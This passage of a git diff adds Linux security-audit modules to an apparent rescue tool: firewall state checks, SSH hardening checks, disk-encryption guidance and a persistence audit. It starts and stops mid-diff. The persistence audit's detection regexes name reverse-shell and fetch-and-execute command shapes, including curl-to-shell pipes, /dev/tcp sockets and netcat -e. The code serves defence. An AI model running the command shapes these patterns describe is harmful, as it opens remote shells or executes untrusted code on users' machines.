2. **Encrypt /home separately** if it is its own partition. " + "Back it up, then:\n" + " sudo cryptsetup luksFormat /dev/sdaX\n" + " sudo cryptsetup open /dev/sdaX home\n" + " sudo mkfs.ext4 /dev/mapper/home\n" + " and restore into it. This destroys the partition — the " + "backup is not optional.\n\n" + " 3. **Encrypt just the files that matter** today, as an " + "interim step: a VeraCrypt or gocryptfs container, or " + "`fscrypt` on ext4.\n\n" + "Whichever you choose: write the passphrase down and keep it " + "somewhere physical and safe. There is no recovery path for a " + "forgotten LUKS passphrase — none, at all. This tool will " + "never ask you for it." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check, "mount_point": finding.data.get("mount_point")}, + ) + ) + elif check == "encryption_undetermined": + actions.append( + Action( + title="Re-run this check with enough privilege to read the disk layout", + description=( + " sudo rescue run linux_disk_encryption_check --yes\n\n" + "Or check by hand:\n" + " lsblk -o NAME,TYPE,FSTYPE,MOUNTPOINT\n" + "A 'crypt' row above your filesystem means LUKS is in use." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) + ) + return FixResult(module_name=self.name, actions=actions) diff --git a/modules/security/linux_firewall_check/__init__.py b/modules/security/linux_firewall_check/__init__.py new file mode 100644 index 0000000..13dd36e --- /dev/null +++ b/modules/security/linux_firewall_check/__init__.py @@ -0,0 +1,259 @@ +"""Is anything actually filtering inbound traffic on this Linux machine? + +Linux ships four common front-ends over two kernel backends — ufw and firewalld +are wrappers, nftables and iptables are the thing being wrapped — and a machine +can have all four installed while none of them is filtering. Checking only one +of them produces a confident, wrong answer, so this module asks each in turn and +reports what it could and could not determine. + +It is deliberately conservative about claiming a machine is unprotected. An +unreadable ruleset (no privileges) is reported as "could not determine", not as +"no firewall": a rescue tool that tells someone their firewall is off when it is +merely unreadable teaches them to distrust the tool. +""" + +from rescue.command import run +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 10.0 + + +class Module(ModuleBase): + name = "linux_firewall_check" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 85 + depends_on = [] + estimated_duration = "10s" + + emits_codes = [ + "security.linux_firewall_check.no_firewall", + "security.linux_firewall_check.firewall_inactive", + "security.linux_firewall_check.default_allow_inbound", + "security.linux_firewall_check.undetermined", + ] + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads Linux firewall front-ends (ufw, firewalld, " + f"nftables, iptables); this host reports {profile.platform.value}." + ), + ) + + states = [self._ufw(), self._firewalld(), self._nftables(), self._iptables()] + present = [s for s in states if s["installed"]] + active = [s for s in present if s["active"] is True] + unknown = [s for s in present if s["active"] is None] + + findings: list[Finding] = [] + + if not present: + findings.append( + Finding( + title="No firewall front-end is installed", + description=( + "None of ufw, firewalld, nft, or iptables could be found on this " + "system. On a laptop or desktop that usually means nothing is " + "filtering inbound connections, so any service you start is " + "reachable by anything on the same network — a cafe wifi, a " + "hotel network, a shared office LAN." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_firewall_check.no_firewall", + confidence=0.8, + data={"check": "no_firewall"}, + ) + ) + elif not active and not unknown: + names = ", ".join(s["tool"] for s in present) + findings.append( + Finding( + title="A firewall is installed but not active", + description=( + f"Found {names}, but none of them is currently filtering. " + "Installed and running are different things; an inactive " + "firewall protects nothing." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_firewall_check.firewall_inactive", + confidence=0.85, + data={"check": "firewall_inactive", "tools": [s["tool"] for s in present]}, + ) + ) + elif not active and unknown: + names = ", ".join(s["tool"] for s in unknown) + findings.append( + Finding( + title="Firewall state could not be determined", + description=( + f"{names} is installed, but its ruleset could not be read — " + "this usually means the check needs root. Re-run with sudo to " + "get a definite answer. This is not evidence that the firewall " + "is off." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_firewall_check.undetermined", + confidence=0.5, + data={"check": "undetermined", "tools": [s["tool"] for s in unknown]}, + ) + ) + + for state in active: + if state.get("default_allow_inbound"): + findings.append( + Finding( + title=f"{state['tool']} is active but allows inbound by default", + description=( + "The firewall is running, but its default policy for incoming " + "traffic is ACCEPT. Unless every port is covered by a specific " + "deny rule, that is close to having no inbound filtering." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_firewall_check.default_allow_inbound", + confidence=0.75, + data={"check": "default_allow_inbound", "tool": state["tool"]}, + ) + ) + + return CheckResult(module_name=self.name, findings=findings) + + def _ufw(self) -> dict: + result = run(["ufw", "status", "verbose"], timeout=_TIMEOUT) + if result.error is not None: + return {"tool": "ufw", "installed": False, "active": None} + text = result.stdout.lower() + if result.returncode != 0 or not text.strip(): + # ufw exits non-zero for a non-root caller: installed, unreadable. + return {"tool": "ufw", "installed": True, "active": None} + active = "status: active" in text + return { + "tool": "ufw", + "installed": True, + "active": active, + "default_allow_inbound": "default: allow (incoming)" in text, + } + + def _firewalld(self) -> dict: + result = run(["firewall-cmd", "--state"], timeout=_TIMEOUT) + if result.error is not None: + return {"tool": "firewalld", "installed": False, "active": None} + return { + "tool": "firewalld", + "installed": True, + "active": "running" in result.stdout.lower(), + } + + def _nftables(self) -> dict: + result = run(["nft", "list", "ruleset"], timeout=_TIMEOUT) + if result.error is not None: + return {"tool": "nftables", "installed": False, "active": None} + if result.returncode != 0: + return {"tool": "nftables", "installed": True, "active": None} + text = result.stdout + # An empty ruleset is nftables installed and filtering nothing. + has_input_chain = "hook input" in text + return { + "tool": "nftables", + "installed": True, + "active": has_input_chain, + "default_allow_inbound": has_input_chain and "policy accept" in text, + } + + def _iptables(self) -> dict: + result = run(["iptables", "-S", "INPUT"], timeout=_TIMEOUT) + if result.error is not None: + return {"tool": "iptables", "installed": False, "active": None} + if result.returncode != 0: + return {"tool": "iptables", "installed": True, "active": None} + lines = [line.strip() for line in result.stdout.splitlines() if line.strip()] + rules = [line for line in lines if line.startswith("-A")] + policy_accept = any(line.startswith("-P INPUT ACCEPT") for line in lines) + return { + "tool": "iptables", + "installed": True, + # Policy plus no rules is the kernel default, i.e. not filtering. + "active": bool(rules) or not policy_accept, + "default_allow_inbound": policy_accept and not rules, + } + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + + if check in ("no_firewall", "firewall_inactive"): + actions.append( + Action( + title="Turn on an inbound firewall", + description=( + "On Debian/Ubuntu:\n" + " sudo apt install ufw\n" + " sudo ufw default deny incoming\n" + " sudo ufw default allow outgoing\n" + " sudo ufw enable\n\n" + "On Fedora/RHEL/openSUSE:\n" + " sudo systemctl enable --now firewalld\n" + " sudo firewall-cmd --set-default-zone=public\n\n" + "Before enabling on a machine you reach over SSH, allow SSH " + "first (`sudo ufw allow OpenSSH`) or you will lock yourself " + "out of it." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) + ) + elif check == "default_allow_inbound": + actions.append( + Action( + title=f"Change the default inbound policy for {finding.data.get('tool')}", + description=( + "With ufw:\n" + " sudo ufw default deny incoming\n" + " sudo ufw reload\n\n" + "With plain nftables or iptables, set the input chain policy " + "to drop and add explicit allow rules for the services you " + "actually want reachable. Again: allow SSH before you do this " + "on a remote machine." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) + ) + elif check == "undetermined": + actions.append( + Action( + title="Re-run this check with enough privilege to read the ruleset", + description=( + " sudo rescue run linux_firewall_check --yes\n\n" + "Until then, treat the firewall state as unknown rather than " + "as either on or off." + ), + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) + ) + return FixResult(module_name=self.name, actions=actions) diff --git a/modules/security/linux_persistence_audit/__init__.py b/modules/security/linux_persistence_audit/__init__.py new file mode 100644 index 0000000..93acb4a --- /dev/null +++ b/modules/security/linux_persistence_audit/__init__.py @@ -0,0 +1,415 @@ +"""Inventory the places on Linux where something can arrange to run again. + +Malware's first job after landing is to survive a reboot. On Linux there is no +single autostart list — there are at least seven, spread across systemd, cron, +desktop autostart, and shell startup files — and an attacker only needs one of +them. This module enumerates all of them and reports what it finds. + +The reporting stance is the important part. Almost everything found here is +legitimate: a user systemd unit is how Syncthing starts, `~/.profile` sets +`PATH` on every machine ever. Flagging those as malware would be the +false-positive machine the roadmap warns against. So: + +- The inventory itself is INFO. It exists so a person can look at a list and + notice the entry they do not recognise, which is the actual detection + mechanism for anything novel. +- Only structural properties escalate: a unit or cron entry that pipes the + network into a shell, an autostart entry pointing at a file in /tmp, a + world-writable unit file that any local process can rewrite. Those are + suspicious regardless of what the software claims to be. + +Everything is read-only and bounded: a fixed set of roots, a depth limit, and a +file cap, so a pathological home directory cannot stall a rescue. +""" + +import os +import re +import stat +from pathlib import Path + +from rescue.command import run +from rescue.fsbounds import WalkLimits, bounded_walk, is_dir_nofollow +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 15.0 + +# Content patterns that are suspicious wherever they appear, because they +# describe a *shape* — fetch and execute — rather than a name that can be +# changed. +_SUSPICIOUS_CONTENT = [ + (re.compile(r"(curl|wget)[^\n|]*\|\s*(ba|z|k|d)?sh"), "downloads and pipes a script straight into a shell"), + (re.compile(r"\bbase64\s+(-d|--decode)\b.*\|\s*(ba|z|k|d)?sh"), "decodes base64 and executes the result"), + (re.compile(r"\b(python3?|perl|ruby|node)\b[^\n]*-e\s+['\"]"), "runs an inline script from the command line"), + (re.compile(r"/dev/tcp/\d"), "opens a raw network socket from the shell (reverse-shell pattern)"), + (re.compile(r"\bnc\b[^\n]*\s-e\b"), "runs netcat with -e (reverse shell)"), +] + +# Directories nothing legitimate should be persistently executing out of. +_VOLATILE_PREFIXES = ("/tmp/", "/var/tmp/", "/dev/shm/", "/run/user/") + + +class Module(ModuleBase): + name = "linux_persistence_audit" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 88 + depends_on = [] + estimated_duration = "20s" + + emits_codes = [ + "security.linux_persistence_audit.suspicious_content", + "security.linux_persistence_audit.volatile_path_execution", + "security.linux_persistence_audit.world_writable_unit", + "security.linux_persistence_audit.ld_preload_set", + "security.linux_persistence_audit.inventory", + ] + + # Traversal roots as class attributes so tests point them at a fixture tree + # rather than at the machine running the suite. Absolute paths are used as + # given; paths starting with "~" are expanded per user. + system_unit_dirs: list[str] = [ + "/etc/systemd/system", + "/usr/local/lib/systemd/system", + ] + user_unit_dirs: list[str] = ["~/.config/systemd/user"] + autostart_dirs: list[str] = ["~/.config/autostart", "/etc/xdg/autostart"] + cron_dirs: list[str] = ["/etc/cron.d", "/etc/cron.daily", "/etc/cron.hourly"] + shell_rc_files: list[str] = [ + "~/.bashrc", + "~/.bash_profile", + "~/.profile", + "~/.zshrc", + "~/.config/fish/config.fish", + ] + ld_preload_path: str = "/etc/ld.so.preload" + + max_files: int = 2000 + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads Linux persistence locations (systemd units, cron, " + f"XDG autostart, shell rc files); this host reports {profile.platform.value}." + ), + ) + + entries: list[dict] = [] + entries += self._scan_dirs(self.system_unit_dirs, "systemd system unit", ("*.service", "*.timer")) + entries += self._scan_dirs(self.user_unit_dirs, "systemd user unit", ("*.service", "*.timer")) + entries += self._scan_dirs(self.autostart_dirs, "desktop autostart", ("*.desktop",)) + entries += self._scan_dirs(self.cron_dirs, "cron job", ("*",)) + entries += self._scan_files(self.shell_rc_files, "shell startup file") + entries += self._user_crontab() + + findings: list[Finding] = [] + for entry in entries: + findings.extend(self._findings_for(entry)) + + findings.extend(self._ld_preload_findings()) + + findings.append( + Finding( + title=f"{len(entries)} startup entries inventoried", + description=( + "Every place something can arrange to run again on this machine, " + "listed so you can look for the one you do not recognise. Most " + "entries here are ordinary software.\n\n" + + self._inventory_text(entries) + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_persistence_audit.inventory", + confidence=1.0, + data={ + "check": "inventory", + "count": len(entries), + "entries": [ + {"path": e["path"], "kind": e["kind"]} for e in entries + ], + }, + ) + ) + + return CheckResult(module_name=self.name, findings=findings) + + def _scan_dirs(self, roots: list[str], kind: str, patterns: tuple[str, ...]) -> list[dict]: + entries: list[dict] = [] + expanded = [Path(os.path.expanduser(root)) for root in roots] + existing = [p for p in expanded if is_dir_nofollow(p)] + if not existing: + return entries + limits = WalkLimits(max_depth=2, max_files=self.max_files, deadline_s=10.0) + for path in bounded_walk(existing, limits=limits): + if patterns != ("*",) and not any(path.match(p) for p in patterns): + continue + entries.append(self._describe(path, kind)) + return entries + + def _scan_files(self, paths: list[str], kind: str) -> list[dict]: + entries = [] + for raw in paths: + path = Path(os.path.expanduser(raw)) + try: + if path.is_file(): + entries.append(self._describe(path, kind)) + except OSError: + continue + return entries + + def _user_crontab(self) -> list[dict]: + """The invoking user's crontab, which lives in a spool file no user can read.""" + result = run(["crontab", "-l"], timeout=_TIMEOUT) + if result.error is not None or result.returncode != 0 or not result.stdout.strip(): + return [] + lines = [ + line for line in result.stdout.splitlines() + if line.strip() and not line.strip().startswith("#") + ] + if not lines: + return [] + return [{ + "path": "crontab -l (current user)", + "kind": "user crontab", + "content": "\n".join(lines), + "mode": None, + }] + + def _describe(self, path: Path, kind: str) -> dict: + content = "" + mode = None + try: + # Persistence files are small; a huge one is itself odd, and reading + # a bounded prefix is enough to spot an execution pattern. + content = path.read_text(errors="replace")[:64_000] + except OSError: + pass + try: + mode = stat.S_IMODE(path.lstat().st_mode) + except OSError: + pass + return {"path": str(path), "kind": kind, "content": content, "mode": mode} + + def _findings_for(self, entry: dict) -> list[Finding]: + findings: list[Finding] = [] + content = entry.get("content") or "" + path = entry["path"] + + for pattern, explanation in _SUSPICIOUS_CONTENT: + match = pattern.search(content) + if match is None: + continue + findings.append( + Finding( + title=f"A startup entry {explanation}", + description=( + f"{entry['kind']}: {path}\n\n" + f"Matched: {match.group(0)[:200]}\n\n" + "Running code fetched from the network at every login or boot is " + "how a compromise stays alive across reboots. Some developer " + "tooling does install itself this way, so check whether you " + "recognise it before acting — but do check." + ), + severity=Severity.CRITICAL, + category=self.category, + code="security.linux_persistence_audit.suspicious_content", + confidence=0.6, + data={ + "check": "suspicious_content", + "path": path, + "kind": entry["kind"], + "pattern": explanation, + "excerpt": match.group(0)[:200], + }, + ) + ) + break # one finding per file is enough to get it looked at + + for line in content.splitlines(): + if any(prefix in line for prefix in _VOLATILE_PREFIXES) and ( + "Exec" in line or line.strip().startswith("/") or "sh " in line + ): + findings.append( + Finding( + title="A startup entry runs a program from a temporary directory", + description=( + f"{entry['kind']}: {path}\n\n" + f"Line: {line.strip()[:200]}\n\n" + "/tmp, /var/tmp, and /dev/shm are cleared on reboot and are " + "writable by every local account. Software that expects to " + "persist does not install itself there; malware does, because " + "it can write there without privileges." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_persistence_audit.volatile_path_execution", + confidence=0.65, + data={ + "check": "volatile_path_execution", + "path": path, + "kind": entry["kind"], + "line": line.strip()[:200], + }, + ) + ) + break + + mode = entry.get("mode") + if mode is not None and mode & stat.S_IWOTH: + findings.append( + Finding( + title="A startup file is writable by any local account", + description=( + f"{entry['kind']}: {path} (mode {oct(mode)})\n\n" + "Anything running on this machine — including software you ran " + "once and forgot — can rewrite this file and have its own code run " + "at the next boot or login. This is a privilege-escalation path " + "whether or not anything has used it yet." + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_persistence_audit.world_writable_unit", + confidence=0.9, + data={ + "check": "world_writable_unit", + "path": path, + "kind": entry["kind"], + "mode": oct(mode), + }, + ) + ) + + return findings + + def _ld_preload_findings(self) -> list[Finding]: + """/etc/ld.so.preload injects a library into every dynamically linked process. + + It is empty or absent on a normal system. When it is not, whatever it + names is running inside every program on the machine, which is why + userland rootkits reach for it first. + """ + path = Path(self.ld_preload_path) + try: + if not path.is_file(): + return [] + content = path.read_text(errors="replace").strip() + except OSError: + return [] + if not content: + return [] + return [ + Finding( + title="A library is being preloaded into every process on this system", + description=( + f"{self.ld_preload_path} lists:\n{content[:500]}\n\n" + "This file forces a library into every dynamically linked program that " + "starts. Legitimate uses exist (some sandboxes and compatibility " + "shims), but it is also the classic userland rootkit mechanism, used " + "to hide files and processes from the tools you would check with. If " + "you did not put this here, treat this machine as compromised and stop " + "using it for anything sensitive until it is investigated." + ), + severity=Severity.CRITICAL, + category=self.category, + code="security.linux_persistence_audit.ld_preload_set", + confidence=0.7, + data={"check": "ld_preload_set", "path": self.ld_preload_path, "content": content[:500]}, + ) + ] + + @staticmethod + def _inventory_text(entries: list[dict]) -> str: + by_kind: dict[str, list[str]] = {} + for entry in entries: + by_kind.setdefault(entry["kind"], []).append(entry["path"]) + lines = [] + for kind in sorted(by_kind): + paths = sorted(by_kind[kind]) + lines.append(f"{kind} ({len(paths)}):") + for path in paths[:25]: + lines.append(f" {path}") + if len(paths) > 25: + lines.append(f" ... and {len(paths) - 25} more") + return "\n".join(lines) + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + for finding in findings.findings: + check = finding.data.get("check") + path = finding.data.get("path", "") + + if check == "suspicious_content": + actions.append(self._guidance( + f"Work out what {path} is before removing it", + " 1. Read the whole file:\n" + f" cat '{path}'\n" + " 2. Find out when it appeared:\n" + f" stat '{path}'\n" + " 3. If it is a systemd unit, see what it is doing:\n" + " systemctl status \n" + " journalctl -u --since '7 days ago'\n" + " 4. If you recognise the software, leave it. If you do not, disable " + "it rather than deleting it — a deleted file cannot be examined:\n" + " sudo systemctl disable --now \n\n" + "If this machine holds anything that matters, capture evidence before " + "cleanup: `rescue run evidence_bundle --yes`.", + check, path, + )) + elif check == "volatile_path_execution": + actions.append(self._guidance( + f"Check what {path} runs out of a temporary directory", + f" cat '{path}'\n\n" + "Then look at the target it points into /tmp or /dev/shm. If the " + "target does not exist, this entry is broken leftovers and can be " + "removed. If it does exist, find out what wrote it before deleting " + "either one.", + check, path, + )) + elif check == "world_writable_unit": + actions.append(self._guidance( + f"Remove world-write permission from {path}", + f" sudo chmod o-w '{path}'\n" + f" ls -l '{path}'\n\n" + "Startup files should be writable only by root (or by you, for files " + "under your own home directory).", + check, path, + )) + elif check == "ld_preload_set": + actions.append(self._guidance( + "Investigate the preloaded library before changing anything", + "Do not simply delete the file. First record what it names:\n" + f" cat {self.ld_preload_path}\n" + " ls -l \n" + " dpkg -S # or: rpm -qf \n\n" + "If no package owns the library and you did not install it, this " + "machine should be treated as compromised: the tools you would " + "normally investigate with may themselves be lying to you. Work from " + "a live USB or a known-clean machine, and run the digital_security_reset " + "profile for the account-recovery order.", + check, self.ld_preload_path, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str, path: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check, "path": path}, + ) diff --git a/modules/security/linux_ssh_hardening/__init__.py b/modules/security/linux_ssh_hardening/__init__.py new file mode 100644 index 0000000..2369b64 --- /dev/null +++ b/modules/security/linux_ssh_hardening/__init__.py @@ -0,0 +1,325 @@ +"""Read the effective SSH server configuration and flag the settings that turn +a laptop into an internet-facing login prompt. + +SSH is the single most common way a Linux machine is taken over: an exposed +sshd with password authentication is guessed at continuously by automated +scanners, and root-with-password is the combination that ends with someone +else's shell on the box. + +Two decisions shape this module: + +*Effective config, not the file.* ``sshd -T`` prints the configuration sshd +actually resolved, including Include directives, Match blocks and distro +defaults. Reading ``/etc/ssh/sshd_config`` by hand gets the answer wrong on +every modern distro that ships ``Include /etc/ssh/sshd_config.d/*.conf``. The +file is only parsed as a fallback when ``sshd -T`` cannot run (typically +because the check is not root), and a finding derived that way carries lower +confidence and says so. + +*Exposure changes severity, not just the finding.* Password authentication on a +host that is not listening for SSH at all is a latent misconfiguration. The same +setting on a host with sshd running and listening on every interface is an open +door. The module checks whether sshd is actually running before deciding how +loudly to complain. +""" + +from pathlib import Path + +from rescue.command import run +from rescue.fsbounds import is_file_nofollow +from rescue.models import ( + Action, + ActionKind, + CheckResult, + Finding, + FixResult, + Mode, + Platform, + RiskLevel, + Severity, + SystemProfile, +) +from rescue.module_base import ModuleBase + +_TIMEOUT = 10.0 + +# Values of PermitRootLogin that still allow a root session of some kind. Only +# "no" fully closes it; "prohibit-password"/"without-password" allow key-based +# root login, which is a deliberate choice on servers and worth surfacing but +# not worth alarming about. +_ROOT_LOGIN_OPEN = {"yes"} +_ROOT_LOGIN_KEYS_ONLY = {"prohibit-password", "without-password", "forced-commands-only"} + + +class Module(ModuleBase): + name = "linux_ssh_hardening" + category = "security" + platforms = [Platform.LINUX] + risk_level = RiskLevel.SAFE + priority = 84 + depends_on = [] + estimated_duration = "10s" + + emits_codes = [ + "security.linux_ssh_hardening.root_login_permitted", + "security.linux_ssh_hardening.password_auth_enabled", + "security.linux_ssh_hardening.empty_passwords_permitted", + "security.linux_ssh_hardening.listening_on_all_interfaces", + "security.linux_ssh_hardening.config_unreadable", + ] + + # Overridable so tests can point at a fixture file instead of the real host. + sshd_config_path: str = "/etc/ssh/sshd_config" + + def check(self, profile: SystemProfile) -> CheckResult: + if profile.platform is not Platform.LINUX: + return CheckResult( + module_name=self.name, + supported=False, + unsupported_reason=( + "This check reads OpenSSH server configuration as it is laid out on " + f"Linux; this host reports {profile.platform.value}." + ), + ) + + config, source = self._effective_config() + if config is None: + if not is_file_nofollow(self.sshd_config_path): + # No sshd config at all: no SSH server installed. Nothing to + # harden, and saying so is more useful than silence. + return CheckResult(module_name=self.name, findings=[]) + return CheckResult( + module_name=self.name, + findings=[ + Finding( + title="SSH server configuration could not be read", + description=( + "An sshd configuration exists but neither `sshd -T` nor the " + "config file could be read, so the server's real settings are " + "unknown. Re-run with sudo for a definite answer." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_ssh_hardening.config_unreadable", + confidence=0.5, + data={"check": "config_unreadable"}, + ) + ], + ) + + running = self._sshd_running() + confidence = 0.95 if source == "sshd -T" else 0.7 + findings: list[Finding] = [] + + root_login = config.get("permitrootlogin", "") + if root_login in _ROOT_LOGIN_OPEN: + findings.append( + Finding( + title="Root can log in over SSH", + description=( + "PermitRootLogin is 'yes', so the root account can be logged into " + "directly over the network — including with a password if password " + "authentication is on. Automated scanners try exactly this " + "combination, continuously, on every machine reachable from the " + "internet." + + (" sshd is running right now." if running else + " sshd does not appear to be running, so this is latent rather" + " than currently exposed.") + ), + severity=Severity.CRITICAL if running else Severity.WARNING, + category=self.category, + code="security.linux_ssh_hardening.root_login_permitted", + confidence=confidence, + data={"check": "root_login_permitted", "value": root_login, "sshd_running": running, "source": source}, + ) + ) + elif root_login in _ROOT_LOGIN_KEYS_ONLY: + findings.append( + Finding( + title=f"Root SSH login is allowed with a key (PermitRootLogin {root_login})", + description=( + "Key-only root login is a normal server configuration and is far " + "safer than password root login. It is listed here so you know it " + "is on; on a personal machine you probably want 'no'." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_ssh_hardening.root_login_permitted", + confidence=confidence, + data={"check": "root_login_keys_only", "value": root_login, "source": source}, + ) + ) + + if config.get("passwordauthentication") == "yes" or config.get("kbdinteractiveauthentication") == "yes": + findings.append( + Finding( + title="SSH accepts password authentication", + description=( + "Anyone who can reach this machine's SSH port can attempt to guess " + "a password, indefinitely. Key-based authentication removes that " + "entire class of attack." + + (" sshd is running right now." if running else + " sshd does not appear to be running.") + ), + severity=Severity.WARNING, + category=self.category, + code="security.linux_ssh_hardening.password_auth_enabled", + confidence=confidence, + data={"check": "password_auth_enabled", "sshd_running": running, "source": source}, + ) + ) + + if config.get("permitemptypasswords") == "yes": + findings.append( + Finding( + title="SSH permits accounts with empty passwords", + description=( + "PermitEmptyPasswords is 'yes'. Any account on this machine with no " + "password set can be logged into over the network with no " + "credential at all. There is no configuration in which this is the " + "intended outcome on a personal machine." + ), + severity=Severity.CRITICAL, + category=self.category, + code="security.linux_ssh_hardening.empty_passwords_permitted", + confidence=confidence, + data={"check": "empty_passwords_permitted", "source": source}, + ) + ) + + listen = config.get("listenaddress", "") + if running and listen in ("0.0.0.0", "::", "0.0.0.0 ::", ""): + findings.append( + Finding( + title="SSH is listening on every network interface", + description=( + "sshd is bound to all interfaces, so it answers on whatever network " + "this machine joins next — hotel wifi, a conference network, a " + "cafe. If you only use SSH on a home LAN, bind it to that interface " + "or restrict it in the firewall." + ), + severity=Severity.INFO, + category=self.category, + code="security.linux_ssh_hardening.listening_on_all_interfaces", + confidence=0.7, + data={"check": "listening_on_all_interfaces", "source": source}, + ) + ) + + return CheckResult(module_name=self.name, findings=findings) + + def _effective_config(self) -> tuple[dict[str, str] | None, str]: + """Return sshd's resolved settings, preferring `sshd -T` over the file.""" + result = run(["sshd", "-T"], timeout=_TIMEOUT) + if result.error is None and result.returncode == 0 and result.stdout.strip(): + return self._parse(result.stdout), "sshd -T" + + try: + text = Path(self.sshd_config_path).read_text(errors="replace") + except OSError: + return None, "" + return self._parse(text), self.sshd_config_path + + @staticmethod + def _parse(text: str) -> dict[str, str]: + """Parse `keyword value` lines; last occurrence wins, as sshd -T emits. + + For a hand-written config file sshd actually honours the *first* + occurrence, but a file with the same keyword twice is already a + configuration the operator should look at, and preferring the last line + errs toward reporting the more permissive value rather than missing it. + """ + config: dict[str, str] = {} + for raw in text.splitlines(): + line = raw.strip() + if not line or line.startswith("#"): + continue + parts = line.split(None, 1) + if len(parts) != 2: + continue + config[parts[0].lower()] = parts[1].strip().lower() + return config + + def _sshd_running(self) -> bool: + result = run(["systemctl", "is-active", "sshd"], timeout=_TIMEOUT) + if result.error is None and result.stdout.strip() == "active": + return True + # Debian and Ubuntu name the unit `ssh`, not `sshd`. + result = run(["systemctl", "is-active", "ssh"], timeout=_TIMEOUT) + return result.error is None and result.stdout.strip() == "active" + + def fix(self, findings: CheckResult, mode: Mode) -> FixResult: + actions: list[Action] = [] + seen: set[str] = set() + for finding in findings.findings: + check = finding.data.get("check") + if check in seen: + continue + seen.add(check) + + if check == "root_login_permitted": + actions.append(self._guidance( + "Stop root logging in over SSH", + "Add to /etc/ssh/sshd_config.d/99-hardening.conf (create it):\n" + " PermitRootLogin no\n\n" + "Then reload:\n" + " sudo sshd -t && sudo systemctl reload ssh || sudo systemctl reload sshd\n\n" + "`sshd -t` checks the config before you reload it. Keep your current " + "SSH session open and test a new login in a second terminal before " + "closing it — a bad SSH config is the classic way to lock yourself " + "out of a remote machine.", + check, + )) + elif check == "password_auth_enabled": + actions.append(self._guidance( + "Switch SSH to key-based authentication", + " 1. From the machine you connect *from*:\n" + " ssh-keygen -t ed25519\n" + " ssh-copy-id you@this-machine\n" + " 2. Confirm you can log in with the key, in a new terminal.\n" + " 3. Only then, in /etc/ssh/sshd_config.d/99-hardening.conf:\n" + " PasswordAuthentication no\n" + " KbdInteractiveAuthentication no\n" + " 4. sudo sshd -t && sudo systemctl reload ssh\n\n" + "Do step 2 before step 3. Reversing them locks you out.", + check, + )) + elif check == "empty_passwords_permitted": + actions.append(self._guidance( + "Refuse empty-password SSH logins immediately", + "In /etc/ssh/sshd_config.d/99-hardening.conf:\n" + " PermitEmptyPasswords no\n" + " sudo sshd -t && sudo systemctl reload ssh\n\n" + "Then check for accounts that actually have no password:\n" + " sudo awk -F: '($2 == \"\") {print $1}' /etc/shadow", + check, + )) + elif check == "listening_on_all_interfaces": + actions.append(self._guidance( + "Limit which networks can reach SSH", + "Either bind sshd to one interface in " + "/etc/ssh/sshd_config.d/99-hardening.conf:\n" + " ListenAddress 192.168.1.10\n\n" + "or leave it bound and restrict it at the firewall:\n" + " sudo ufw allow from 192.168.1.0/24 to any port 22\n\n" + "If you never use SSH into this machine, the simplest fix is to turn " + "the server off entirely:\n" + " sudo systemctl disable --now ssh", + check, + )) + elif check == "config_unreadable": + actions.append(self._guidance( + "Re-run this check as root", + " sudo rescue run linux_ssh_hardening --yes", + check, + )) + return FixResult(module_name=self.name, actions=actions) + + def _guidance(self, title: str, description: str, check: str) -> Action: + return Action( + title=title, + description=description, + risk_level=RiskLevel.SAFE, + kind=ActionKind.GUIDANCE, + data={"check": check}, + ) diff --git a/modules/security/login_password_policy/__init__.py b/modules/security/login_password_policy/__init__.py index 743c8e2..188d580 100644 --- a/modules/security/login_password_policy/__init__.py +++ b/modules/security/login_password_policy/__init__.py @@ -106,7 +106,7 @@ def check(self, profile: SystemProfile) -> CheckResult: # Check 4: Guest account enabled guest_auth = self._get_dscl_value("/Users/Guest", "AuthenticationAuthority") - if guest_auth and not "No such key" in guest_auth: + if guest_auth and "No such key" not in guest_auth: findings.append( Finding( title="Guest account is enabled", diff --git a/modules/security/win_cortana_telemetry/__init__.py b/modules/security/win_cortana_telemetry/__init__.py index 5492754..539f13a 100644 --- a/modules/security/win_cortana_telemetry/__init__.py +++ b/modules/security/win_cortana_telemetry/__init__.py @@ -271,7 +271,7 @@ def _query_reg_value(self, reg_path: str, value_name: str) -> str | None: def _parse_reg_value(output: str, value_name: str) -> str | None: - """Parse reg query output to extract the value. + r"""Parse reg query output to extract the value. Example output: HKEY_LOCAL_MACHINE\SOFTWARE\... diff --git a/modules/security/win_uac_check/__init__.py b/modules/security/win_uac_check/__init__.py index 520f5e3..e01cf6c 100644 --- a/modules/security/win_uac_check/__init__.py +++ 